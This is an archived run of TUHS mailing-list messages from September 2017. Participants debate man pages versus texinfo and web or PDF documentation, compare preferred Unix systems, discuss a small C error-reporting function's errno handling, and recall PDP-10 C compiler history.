> ... you quickly recognize the difference between a manpage (i.e. reference page) and a user manual.  Perl's (and other's) attempts to pack a 200 page user guide into a block of manpages is a misuse of what manpages represent.
> 
> texinfo was a good move in the direction towards online, cross-referenced, user documentation.  But so often that lead to manpages that consisted of the single line "see the texinfo doc"; the documentation authors completely missing the point.

+1.  Man pages should be short things that remind you how to run the program.
Putting a user guide in man pages is nuts, and in today's world texinfo is
just as nuts.  Put it on the web and move on.  But don't give me the see
texinfo man page, I hate that crap.


From lyndon at orthanc.ca  Wed Sep 20 11:03:02 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Tue, 19 Sep 2017 18:03:02 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
Message-ID: <A0B2CA15-9392-4881-8FC1-395968167714@orthanc.ca>


> On Sep 19, 2017, at 5:39 PM, Dave Horsfall <dave at horsfall.org> wrote:
> 
> Definitely FreeBSD, because it's solid, has thousands of ports, and well, is BSD...  And I access it via my MacBook :-)

Free is nice as a desktop environment, but over the last several years it has accreted a lot of bloat.  Ever since clang arrived I've become much less enamoured with it, despite being an active user since the 1.x days.  As a server platform, anything I cannot remotely install over the network using PXE, tftp, and http via the IPMI console is a non-starter.  That's the show stopper that's keeping it out of our data centres right now.

At $WORK I'm using Open for more than just firewalls these days.  It's so light weight, and bloat free.  The threading support in the network stack is great to see.  And even in its current state, we're running busy nginx/haproxy servers on really light weight Supermicro hardware where the machines barely wake up. 

For big server applications I would prefer to be using a Solaris derivative.  The way it lets you tune scheduling, processor affinity, kernel resources, etc., is remarkable.  But trying to sell that to anyone corporately these days is hopeless.  Hell, you can't even sell it 'technically' to people who should (and do) know better.

--lyndon



From lyndon at orthanc.ca  Wed Sep 20 11:09:27 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Tue, 19 Sep 2017 18:09:27 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170920010206.GZ25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
Message-ID: <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>


> On Sep 19, 2017, at 6:02 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> Put it on the web and move on.

My main gripe about that is that I can't read the web when the router I'm trying to install won't work, keeping me from the needed web documentation ...

*Please* write your documentation in a way that allows you to generate (useful, readable!) PDF documents that I can download for offline viewing.  Believe it or not, I don't haul along a 300 mile cat-5 cable when I go sailing.  I still like to write code on the boat.  So much for Go :-P

And $GOD help everyone in the Caribbean trying to bootstrap their infrastructure right now.  How is your https://... documentation going to help them out?

--lyndon



From lm at mcvoy.com  Wed Sep 20 11:13:40 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 18:13:40 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
Message-ID: <20170920011340.GA25650@mcvoy.com>

On Tue, Sep 19, 2017 at 06:09:27PM -0700, Lyndon Nerenberg wrote:
> 
> > On Sep 19, 2017, at 6:02 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > 
> > Put it on the web and move on.
> 
> My main gripe about that is that I can't read the web when the router I'm trying to install won't work, keeping me from the needed web documentation ...
> 
> *Please* write your documentation in a way that allows you to generate (useful, readable!) PDF documents that I can download for offline viewing.  Believe it or not, I don't haul along a 300 mile cat-5 cable when I go sailing.  I still like to write code on the boat.  So much for Go :-P
> 
> And $GOD help everyone in the Caribbean trying to bootstrap their infrastructure right now.  How is your https://... documentation going to help them out?

Dude, you are talking to the guy who wrote webroff, a tool that takes -ms
markup and puts on the web.  Our website was done in webroff for years and
you could take all the source and produce a pdf.

I'm with ya.  Where I get off the boat (heh) is texinfo, it was useful in
its time, it sucks now.  I actually prefer man pages to texinfo by a long
shot.


From lm at mcvoy.com  Wed Sep 20 11:22:03 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 18:22:03 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170920011340.GA25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com>
Message-ID: <20170920012203.GB25650@mcvoy.com>

On Tue, Sep 19, 2017 at 06:13:40PM -0700, Larry McVoy wrote:
> On Tue, Sep 19, 2017 at 06:09:27PM -0700, Lyndon Nerenberg wrote:
> > 
> > > On Sep 19, 2017, at 6:02 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > > 
> > > Put it on the web and move on.
> > 
> > My main gripe about that is that I can't read the web when the router I'm trying to install won't work, keeping me from the needed web documentation ...
> > 
> > *Please* write your documentation in a way that allows you to generate (useful, readable!) PDF documents that I can download for offline viewing.  Believe it or not, I don't haul along a 300 mile cat-5 cable when I go sailing.  I still like to write code on the boat.  So much for Go :-P
> > 
> > And $GOD help everyone in the Caribbean trying to bootstrap their infrastructure right now.  How is your https://... documentation going to help them out?
> 
> Dude, you are talking to the guy who wrote webroff, a tool that takes -ms
> markup and puts on the web.  Our website was done in webroff for years and
> you could take all the source and produce a pdf.

Here's an example:

http://www.mcvoy.com/lm/bkdocs/UG/

is the source, you can look at those files, they are nroff -ms source,
and then look at 

http://www.mcvoy.com/lm/bkdocs/UG/tmp

and you'll see the web version of the docs.  Which is pretty useful.
You've got all the .NH 1 headers in the table of contents down the
left side, and when you click one of them it shows you the .NH 2,
.NH 3 etc headers for just that section.

And if you go to

http://www.mcvoy.com/lm/bkdocs/UG/tmp/map.html

you can get html versions of any .NH 1 section, or the entire thing as one
page.

It's a ~1700 line perl program (perl 4ish) and it has some ability to skin
the content.  Source in http://www.mcvoy.com/lm/bkdocs/UG/webroff


From lm at mcvoy.com  Wed Sep 20 12:01:11 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 19:01:11 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170920012203.GB25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com>
 <20170920012203.GB25650@mcvoy.com>
Message-ID: <20170920020111.GA15872@mcvoy.com>

So there are links in that that don't work, that user guide is really old,
but you should be able to get the idea.  If people bitch about the links
that don't work I'll see if I can fix them.

The skinning is in the Html file.

> Here's an example:
> 
> http://www.mcvoy.com/lm/bkdocs/UG/
> 
> is the source, you can look at those files, they are nroff -ms source,
> and then look at 
> 
> http://www.mcvoy.com/lm/bkdocs/UG/tmp
> 
> and you'll see the web version of the docs.  Which is pretty useful.
> You've got all the .NH 1 headers in the table of contents down the
> left side, and when you click one of them it shows you the .NH 2,
> .NH 3 etc headers for just that section.
> 
> And if you go to
> 
> http://www.mcvoy.com/lm/bkdocs/UG/tmp/map.html
> 
> you can get html versions of any .NH 1 section, or the entire thing as one
> page.
> 
> It's a ~1700 line perl program (perl 4ish) and it has some ability to skin
> the content.  Source in http://www.mcvoy.com/lm/bkdocs/UG/webroff

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From tytso at mit.edu  Wed Sep 20 12:07:41 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Tue, 19 Sep 2017 22:07:41 -0400
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170920010206.GZ25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
Message-ID: <20170920020741.ihjr5s4p243ycwef@thunk.org>

On Tue, Sep 19, 2017 at 06:02:06PM -0700, Larry McVoy wrote:
> 
> +1.  Man pages should be short things that remind you how to run the program.
> Putting a user guide in man pages is nuts, and in today's world texinfo is
> just as nuts.  Put it on the web and move on.  But don't give me the see
> texinfo man page, I hate that crap.

Most of the core Unix utilities, even those coming from GNU, have real
man pages, at least under Debian and Debian derivatives.  That's
because Debian makes it the package maintainer's responsibility to
provide a real man page if the package doesn't have one.  If you are
using Debian or Ubuntu, or some other Debian derivative, and you find
a man page which says, "see the texinfo/info file", you should file a
bug.

The other thing that often happens is that the html pages are
available in /usr/share/doc/<pkg> --- but often they were generated
from a texinfo file.  I personally prefer to use an info file reader,
as it tends to use much less battery power than a browser.  So if you
prefer:

	sensible-browser /usr/share/make/make-doc/make.html/index.html

over "info make", choice is good, right?

					- Ted


From bakul at bitblocks.com  Wed Sep 20 12:34:00 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Tue, 19 Sep 2017 19:34:00 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <20170920020111.GA15872@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com> <20170920012203.GB25650@mcvoy.com>
 <20170920020111.GA15872@mcvoy.com>
Message-ID: <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>

These days I use the markdown format more and more as it is easier and
more readable than troff/LaTeX and good enough for this sort of documentation.
There is even LaTeX package for it! 

> On Sep 19, 2017, at 7:01 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> So there are links in that that don't work, that user guide is really old,
> but you should be able to get the idea.  If people bitch about the links
> that don't work I'll see if I can fix them.
> 
> The skinning is in the Html file.
> 
>> Here's an example:
>> 
>> http://www.mcvoy.com/lm/bkdocs/UG/
>> 
>> is the source, you can look at those files, they are nroff -ms source,
>> and then look at 
>> 
>> http://www.mcvoy.com/lm/bkdocs/UG/tmp
>> 
>> and you'll see the web version of the docs.  Which is pretty useful.
>> You've got all the .NH 1 headers in the table of contents down the
>> left side, and when you click one of them it shows you the .NH 2,
>> .NH 3 etc headers for just that section.
>> 
>> And if you go to
>> 
>> http://www.mcvoy.com/lm/bkdocs/UG/tmp/map.html
>> 
>> you can get html versions of any .NH 1 section, or the entire thing as one
>> page.
>> 
>> It's a ~1700 line perl program (perl 4ish) and it has some ability to skin
>> the content.  Source in http://www.mcvoy.com/lm/bkdocs/UG/webroff
> 
> -- 
> ---
> Larry McVoy                     lm at mcvoy.com             http://www.mcvoy.com/lm 



From lm at mcvoy.com  Wed Sep 20 12:47:33 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 19:47:33 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com>
 <20170920012203.GB25650@mcvoy.com>
 <20170920020111.GA15872@mcvoy.com>
 <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
Message-ID: <20170920024733.GG25650@mcvoy.com>

Yeah, markdown didn't exist at the time I did webroff and I like, still
like, roff.  It says what you want more than how you want to do it.

On Tue, Sep 19, 2017 at 07:34:00PM -0700, Bakul Shah wrote:
> These days I use the markdown format more and more as it is easier and
> more readable than troff/LaTeX and good enough for this sort of documentation.
> There is even LaTeX package for it! 
> 
> > On Sep 19, 2017, at 7:01 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > 
> > So there are links in that that don't work, that user guide is really old,
> > but you should be able to get the idea.  If people bitch about the links
> > that don't work I'll see if I can fix them.
> > 
> > The skinning is in the Html file.
> > 
> >> Here's an example:
> >> 
> >> http://www.mcvoy.com/lm/bkdocs/UG/
> >> 
> >> is the source, you can look at those files, they are nroff -ms source,
> >> and then look at 
> >> 
> >> http://www.mcvoy.com/lm/bkdocs/UG/tmp
> >> 
> >> and you'll see the web version of the docs.  Which is pretty useful.
> >> You've got all the .NH 1 headers in the table of contents down the
> >> left side, and when you click one of them it shows you the .NH 2,
> >> .NH 3 etc headers for just that section.
> >> 
> >> And if you go to
> >> 
> >> http://www.mcvoy.com/lm/bkdocs/UG/tmp/map.html
> >> 
> >> you can get html versions of any .NH 1 section, or the entire thing as one
> >> page.
> >> 
> >> It's a ~1700 line perl program (perl 4ish) and it has some ability to skin
> >> the content.  Source in http://www.mcvoy.com/lm/bkdocs/UG/webroff
> > 
> > -- 
> > ---
> > Larry McVoy                     lm at mcvoy.com             http://www.mcvoy.com/lm 

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From lm at mcvoy.com  Wed Sep 20 13:13:12 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 20:13:12 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <20170919135359.G38me%steffen@sdaoden.eu>
 <20170919135652.GN25650@mcvoy.com>
 <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>
Message-ID: <20170920031312.GJ25650@mcvoy.com>

On Tue, Sep 19, 2017 at 01:56:48PM -0400, Random832 wrote:
> On Tue, Sep 19, 2017, at 09:56, Larry McVoy wrote:
> > On Tue, Sep 19, 2017 at 03:53:59PM +0200, Steffen Nurpmeso wrote:
> > >  |void    
> > >  |my_perror(char *file, int line, char *msg)
> > >  |{
> > >  |        char    *p = 0;
> > >  |        int     save = errno;
> > >  |
> > >  |        if (p = getenv("_BK_VERSION")) {
> > >  |                if (strneq(p, "bk-", 3)) p += 3;
> > >  |                fprintf(stderr, "%s:%d (%s): ", file, line, p);
> > >  |} else {
> > >  |                fprintf(stderr, "%s:%d: ", file, line);
> > >  |}
> > >  |        if (p = strerror(errno)) {
> > >  |                fprintf(stderr, "%s: %s\n", msg, p);
> > >  |} else {
> > >  |                fprintf(stderr, "%s: errno=%d\n", msg, errno);
> > >  |}
> > >  |        errno = save;   
> > >  |}
> > >  |
> > >  |libc should do that.
> > > 
> > > That really made me wonder why "save" is not used, errno may
> > > eventually change along the way.  Ok ok, but.. well.
> > 
> > Huh?  save is set with errno and then errno is restored to save.   The 
> > point of save is to do the library calls (which do syscalls which 
> > could in theory change errno) and leave it the same as it was on
> > the way in.
> 
> I think his point was that you should be passing save (rather than
> errno) to the strerror and the last printf, because the preceding
> library calls may have changed errno.

Thanks for that insight.  That code has been working for decades but I
think the reason it works is if it works then errno doesn't change and
if it doesn't work then we're not going to see the output.  So passing
save is technically correct but not sure it is practically correct.

Anyone have an opinion?


From gtaylor at tnetconsulting.net  Wed Sep 20 14:26:30 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 19 Sep 2017 22:26:30 -0600
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170920010206.GZ25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
Message-ID: <67952143-4adb-2c51-1874-d34825e92171@tnetconsulting.net>

On 09/19/2017 07:02 PM, Larry McVoy wrote:
> +1.  Man pages should be short things that remind you how to run the program. 
>  Putting a user guide in man pages is nuts, and in today's world texinfo is 
> just as nuts.  Put it on the web and move on.  But don't give me the see 
> texinfo man page, I hate that crap.

I have long told people trying to learn unix "Most people don't learn 
from man pages.  Man pages are great reference after you know (some of) 
<bla>."

I typically refer someone to online tutorials or start an in person / 
email discussion with them about what they are trying to learn.  Usually 
I try to tailor it to and / or reference things that I'm aware they are 
familiar with.



-- 
Grant. . . .
unix || die


From gtaylor at tnetconsulting.net  Wed Sep 20 14:29:29 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 19 Sep 2017 22:29:29 -0600
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
Message-ID: <1167a64e-97be-b5c6-4025-e7a0c5c7533c@tnetconsulting.net>

On 09/19/2017 07:09 PM, Lyndon Nerenberg wrote:
> My main gripe about that is that I can't read the web when the router I'm trying to install won't work, keeping me from the needed web documentation ...

*SO* *MUCH* *THIS*!!!

> *Please* write your documentation in a way that allows you to generate (useful, readable!) PDF documents that I can download for offline viewing.  Believe it or not, I don't haul along a 300 mile cat-5 cable when I go sailing.  I still like to write code on the boat.  So much for Go :-P

I have a personal bias against PDF and prefer single (or few) page text 
/ HTML files that I can easily consume offline.

> And $GOD help everyone in the Caribbean trying to bootstrap their infrastructure right now.  How is your https://... documentation going to help them out?

*LOL*

#truth



-- 
Grant. . . .
unix || die


From gtaylor at tnetconsulting.net  Wed Sep 20 14:35:23 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 19 Sep 2017 22:35:23 -0600
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com> <20170920012203.GB25650@mcvoy.com>
 <20170920020111.GA15872@mcvoy.com>
 <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
Message-ID: <fd17a3fb-3c0e-3781-5074-640908ec3715@tnetconsulting.net>

On 09/19/2017 08:34 PM, Bakul Shah wrote:
> These days I use the markdown format more and more as it is easier and
> more readable than troff/LaTeX and good enough for this sort of documentation.
> There is even LaTeX package for it!

I've always found markdown to be limiting, and inconsistent.  (Lack of 
standards?)

I would rather put together documentation in raw HTML than markdown. 
But I've been accused of many (what others consider to be) nasty things.



-- 
Grant. . . .
unix || die


From gtaylor at tnetconsulting.net  Wed Sep 20 14:42:30 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 19 Sep 2017 22:42:30 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <a6dfb676-44b2-0d87-5ece-01c2f1dc0a37@tnetconsulting.net>

On 09/19/2017 06:12 PM, Arthur Krewat wrote:
> What's your UNIX of choice to do normal "real" things these days?

Linux.  I have a mixture of (legacy) CentOS, (X)Ubuntu (current) and 
Gentoo (future).  #ImANTIsystemd

> What do you all use for day-to-day development and general playing 
> around with new stuff?

I can use just about any ""unix and prefer the GNU tool chain.

I *LOVE* to chain commands together to do various things.  I feel like I 
can get the ""unix environment to do my bidding.  Most of the time.  ;-)

As long as you can get the job done, I don't care what you use to do it. 
  To each his / her own.  (Unless I have to help support it, then I care.)



-- 
Grant. . . .
unix || die


From imp at bsdimp.com  Wed Sep 20 14:55:00 2017
From: imp at bsdimp.com (Warner Losh)
Date: Tue, 19 Sep 2017 22:55:00 -0600
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <7w377j6fp5.fsf@junk.nocrew.org>
References: <CMM.0.95.0.1505755492.beebe@gamma.math.utah.edu>
 <7w377j6fp5.fsf@junk.nocrew.org>
Message-ID: <CANCZdfrT-1yK=L=bmdd_xdevk3-kmrrJSUHjF6U5ZV7EwaCbfA@mail.gmail.com>

On Mon, Sep 18, 2017 at 12:10 PM, Lars Brinkhoff <lars at nocrew.org> wrote:

> Nelson H. F. Beebe wrote:
> > kcc was written by Ken Harrenstien from scratch
>
> Rewritten maybe?  Some KCC source code files have the comment
>
>     "Original version (c) 1981 K. Chen"
>
> which I take to mean referencing Kok Chen.


Kok Chen's work was the basis for the Greg Titis compiler. It wound up on a
bunch of DECUS tapes, but never seems to have taken off (Greg seems to
think as many as 20 copies existed in the wild). I heard from him off list.
He started with the kcc compiler, then rewrite the scanner, parser and
code-gen, leaving behind just the interfaces. Sadly, he lost all copies he
had in a flood in maybe 1988. He recommends the latter-day kcc as well as
being the best compiler to use if you want to have a more purist
experience. gcc on tops-20 just feels wrong, even to him (he's spent the
years since then doing various compiler things for Cray).

Anyway, just another bit of trivia for this wonderful thread.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170919/be1c99f8/attachment.html>

From itz at very.loosely.org  Wed Sep 20 15:54:00 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Tue, 19 Sep 2017 22:54:00 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <fd17a3fb-3c0e-3781-5074-640908ec3715@tnetconsulting.net>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com>
 <20170920012203.GB25650@mcvoy.com>
 <20170920020111.GA15872@mcvoy.com>
 <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
 <fd17a3fb-3c0e-3781-5074-640908ec3715@tnetconsulting.net>
Message-ID: <20170920055400.izo7daknnyrwbksr@matica.foolinux.mooo.com>

On 2017-09-19 22:35, Grant Taylor wrote:

> > These days I use the markdown format more and more as it is easier
> > and more readable than troff/LaTeX and good enough for this sort of
> > documentation.  There is even LaTeX package for it!
> 
> I've always found markdown to be limiting, and inconsistent.  (Lack of
> standards?)

There's also ReStructured Text, where the usage is more uniform, at
least according to some.  I write simple documents in it, such as my
resume, blog posts, and yes, manpages :)

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From bakul at bitblocks.com  Wed Sep 20 16:18:31 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Tue, 19 Sep 2017 23:18:31 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170920024733.GG25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com> <20170920012203.GB25650@mcvoy.com>
 <20170920020111.GA15872@mcvoy.com>
 <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
 <20170920024733.GG25650@mcvoy.com>
Message-ID: <E1526B80-9F6F-47FC-9116-6C8598EBB5A9@bitblocks.com>

I used *roff for man pages. Used to use man pages as brief
functional specs for new commands. Worked very well.  Even
prior to 1985 I usually just kept plain text documents in a
readable format (not unlike "markdown". Though, rather than
# section, ## subsect I used separate ==== and --- lines).
Most of my notes start out in that form and longer ones may
get converted to latex files. But it's nice to have choices! 

BTW, Bitkeeper document looks pretty decent.

> On Sep 19, 2017, at 7:47 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> Yeah, markdown didn't exist at the time I did webroff and I like, still
> like, roff.  It says what you want more than how you want to do it.
> 
> On Tue, Sep 19, 2017 at 07:34:00PM -0700, Bakul Shah wrote:
>> These days I use the markdown format more and more as it is easier and
>> more readable than troff/LaTeX and good enough for this sort of documentation.
>> There is even LaTeX package for it! 
>> 
>>> On Sep 19, 2017, at 7:01 PM, Larry McVoy <lm at mcvoy.com> wrote:
>>> 
>>> So there are links in that that don't work, that user guide is really old,
>>> but you should be able to get the idea.  If people bitch about the links
>>> that don't work I'll see if I can fix them.
>>> 
>>> The skinning is in the Html file.
>>> 
>>>> Here's an example:
>>>> 
>>>> http://www.mcvoy.com/lm/bkdocs/UG/
>>>> 
>>>> is the source, you can look at those files, they are nroff -ms source,
>>>> and then look at 
>>>> 
>>>> http://www.mcvoy.com/lm/bkdocs/UG/tmp
>>>> 
>>>> and you'll see the web version of the docs.  Which is pretty useful.
>>>> You've got all the .NH 1 headers in the table of contents down the
>>>> left side, and when you click one of them it shows you the .NH 2,
>>>> .NH 3 etc headers for just that section.
>>>> 
>>>> And if you go to
>>>> 
>>>> http://www.mcvoy.com/lm/bkdocs/UG/tmp/map.html
>>>> 
>>>> you can get html versions of any .NH 1 section, or the entire thing as one
>>>> page.
>>>> 
>>>> It's a ~1700 line perl program (perl 4ish) and it has some ability to skin
>>>> the content.  Source in http://www.mcvoy.com/lm/bkdocs/UG/webroff
>>> 
>>> -- 
>>> ---
>>> Larry McVoy                     lm at mcvoy.com             http://www.mcvoy.com/lm 
> 
> -- 
> ---
> Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 



From lars at nocrew.org  Wed Sep 20 16:20:27 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Wed, 20 Sep 2017 06:20:27 +0000
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <20170919233525.k3otv5as6xi2rqht@thunk.org> (Theodore Ts'o's
 message of "Tue, 19 Sep 2017 19:35:25 -0400")
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
Message-ID: <7wh8vx3n84.fsf@junk.nocrew.org>

Theodore Ts'o wrote:
> I find that info system, with its hypertext linking, to be far more
> convenient.

I was somewhat amazed when I saw that the GNU info format was copied
verbatim from PDP-10 INFO.  The old ITS files work just fine in info
today.


From peter at rulingia.com  Wed Sep 20 16:43:17 2017
From: peter at rulingia.com (Peter Jeremy)
Date: Wed, 20 Sep 2017 16:43:17 +1000
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
Message-ID: <20170920064317.GF74483@server.rulingia.com>

On 2017-Sep-19 18:09:27 -0700, Lyndon Nerenberg <lyndon at orthanc.ca> wrote:
>*Please* write your documentation in a way that allows you to generate
>(useful, readable!) PDF documents that I can download for offline viewing.
>Believe it or not, I don't haul along a 300 mile cat-5 cable when I go
>sailing.  I still like to write code on the boat.  So much for Go :-P

One of the really nice things about Go is that all the library source code
and documentatin is installed by default and you can run a local instance of
the documentation server on your laptop (or whatever).  Likewise, the
specification is one HTML page - if you really want, you could convert that
to PDF but having all the hyperlinks is really handy.  (I haven't tried
running a local copy of the playground but that should be possible as well).

-- 
Peter Jeremy
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 949 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/e23727ef/attachment.sig>

